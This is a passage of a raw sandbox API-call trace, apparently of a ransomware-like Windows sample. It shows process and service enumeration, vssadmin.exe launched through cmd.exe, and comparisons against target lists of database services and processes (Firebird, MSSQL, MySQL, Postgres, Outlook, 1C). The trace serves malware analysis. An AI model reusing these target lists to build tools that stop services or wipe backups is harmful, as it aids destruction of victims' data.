th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0086.560] lstrlenW (lpString="taskhost.exe") returned 12 [0086.560] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0086.561] lstrlenW (lpString="mdskkv.exe") returned 10 [0086.561] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0086.562] lstrlenW (lpString="cmd.exe") returned 7 [0086.562] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.563] lstrlenW (lpString="conhost.exe") returned 11 [0086.563] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0086.564] lstrlenW (lpString="vssadmin.exe") returned 12 [0086.564] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0086.565] lstrlenW (lpString="VSSVC.exe") returned 9 [0086.565] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0086.566] CloseHandle (hObject=0x1ec) returned 1 [0086.566] Sleep (dwMilliseconds=0x1f4) [0087.212] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624d38 [0087.213] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0087.213] GetLastError () returned 0xea [0087.213] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12b4) returned 0x3f84010 [0087.214] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f84010, cbBufSize=0x12b4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f84010, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0087.215] CloseServiceHandle (hSCObject=0x624d38) returned 1 [0087.215] lstrlenW (lpString="Appinfo") returned 7 [0087.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0087.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0087.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0087.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0087.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0087.215] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0087.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0087.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0087.215] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0087.215] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0087.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0087.215] lstrlenW (lpString="AudioSrv") returned 8 [0087.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0087.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0087.216] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0087.216] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0087.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0087.216] lstrlenW (lpString="BFE") returned 3 [0087.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0087.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0087.216] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0087.216] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0087.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0087.216] lstrlenW (lpString="CryptSvc") returned 8 [0087.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0087.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0087.216] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0087.216] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0087.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0087.216] lstrlenW (lpString="CscService") returned 10 [0087.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0087.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0087.216] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0087.216] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0087.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0087.217] lstrlenW (lpString="DcomLaunch") returned 10 [0087.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0087.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0087.217] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0087.217] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0087.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0087.217] lstrlenW (lpString="Dhcp") returned 4 [0087.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0087.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0087.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0087.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0087.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0087.217] lstrlenW (lpString="Dnscache") returned 8 [0087.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0087.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0087.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0087.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0087.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0087.217] lstrlenW (lpString="DPS") returned 3 [0087.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0087.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0087.217] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0087.217] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0087.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0087.218] lstrlenW (lpString="eventlog") returned 8 [0087.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0087.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0087.218] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0087.218] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0087.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0087.218] lstrlenW (lpString="EventSystem") returned 11 [0087.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0087.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0087.218] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0087.218] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0087.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0087.218] lstrlenW (lpString="FontCache") returned 9 [0087.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0087.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0087.218] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0087.218] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0087.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0087.218] lstrlenW (lpString="gpsvc") returned 5 [0087.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0087.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0087.218] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0087.218] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0087.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0087.219] lstrlenW (lpString="iphlpsvc") returned 8 [0087.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0087.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0087.219] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0087.219] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0087.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0087.219] lstrlenW (lpString="LanmanServer") returned 12 [0087.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0087.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0087.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0087.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0087.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0087.219] lstrlenW (lpString="LanmanWorkstation") returned 17 [0087.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0087.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0087.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0087.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0087.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0087.219] lstrlenW (lpString="lmhosts") returned 7 [0087.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0087.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0087.220] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0087.220] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0087.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0087.220] lstrlenW (lpString="MMCSS") returned 5 [0087.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0087.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0087.220] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0087.220] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0087.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0087.220] lstrlenW (lpString="MpsSvc") returned 6 [0087.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0087.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0087.220] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0087.220] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0087.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0087.220] lstrlenW (lpString="Netman") returned 6 [0087.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0087.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0087.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0087.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0087.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0087.220] lstrlenW (lpString="netprofm") returned 8 [0087.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0087.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0087.220] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0087.220] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0087.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0087.221] lstrlenW (lpString="NlaSvc") returned 6 [0087.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0087.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0087.221] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0087.221] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0087.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0087.221] lstrlenW (lpString="nsi") returned 3 [0087.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0087.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0087.221] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0087.221] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0087.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0087.221] lstrlenW (lpString="PcaSvc") returned 6 [0087.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0087.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0087.221] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0087.221] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0087.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0087.221] lstrlenW (lpString="PlugPlay") returned 8 [0087.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0087.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0087.221] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0087.221] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0087.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0087.222] lstrlenW (lpString="Power") returned 5 [0087.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0087.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0087.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0087.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0087.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0087.222] lstrlenW (lpString="ProfSvc") returned 7 [0087.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0087.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0087.222] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0087.222] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0087.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0087.222] lstrlenW (lpString="RpcEptMapper") returned 12 [0087.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0087.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0087.222] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0087.222] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0087.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0087.222] lstrlenW (lpString="RpcSs") returned 5 [0087.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0087.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0087.223] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0087.223] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0087.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0087.223] lstrlenW (lpString="SamSs") returned 5 [0087.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0087.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0087.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0087.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0087.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0087.223] lstrlenW (lpString="Schedule") returned 8 [0087.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0087.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0087.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0087.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0087.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0087.223] lstrlenW (lpString="SENS") returned 4 [0087.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0087.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0087.224] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0087.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0087.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0087.224] lstrlenW (lpString="ShellHWDetection") returned 16 [0087.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0087.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0087.224] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0087.224] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0087.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0087.224] lstrlenW (lpString="Spooler") returned 7 [0087.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0087.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0087.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0087.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0087.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0087.225] lstrlenW (lpString="SysMain") returned 7 [0087.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0087.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0087.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0087.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0087.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0087.225] lstrlenW (lpString="Themes") returned 6 [0087.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0087.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0087.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0087.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0087.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0087.226] lstrlenW (lpString="TrkWks") returned 6 [0087.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0087.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0087.226] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0087.226] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0087.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0087.226] lstrlenW (lpString="UxSms") returned 5 [0087.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0087.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0087.226] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0087.226] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0087.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0087.226] lstrlenW (lpString="VSS") returned 3 [0087.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0087.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0087.226] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0087.226] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0087.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0087.227] lstrlenW (lpString="WdiServiceHost") returned 14 [0087.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0087.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0087.227] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0087.227] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0087.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0087.227] lstrlenW (lpString="WdiSystemHost") returned 13 [0087.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0087.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0087.227] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0087.227] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0087.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0087.227] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0087.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0087.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0087.227] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0087.227] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0087.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0087.228] lstrlenW (lpString="Winmgmt") returned 7 [0087.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0087.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0087.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0087.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0087.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0087.228] lstrlenW (lpString="WPDBusEnum") returned 10 [0087.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0087.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0087.228] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0087.228] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0087.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0087.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f84010 | out: hHeap=0x5d0000) returned 1 [0087.228] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0087.235] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.236] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0087.237] lstrlenW (lpString="System") returned 6 [0087.237] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0087.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0087.237] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0087.237] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0087.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0087.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0087.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0087.238] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0087.239] lstrlenW (lpString="smss.exe") returned 8 [0087.239] lstrcmpiW (lpString1="1c8.exe", 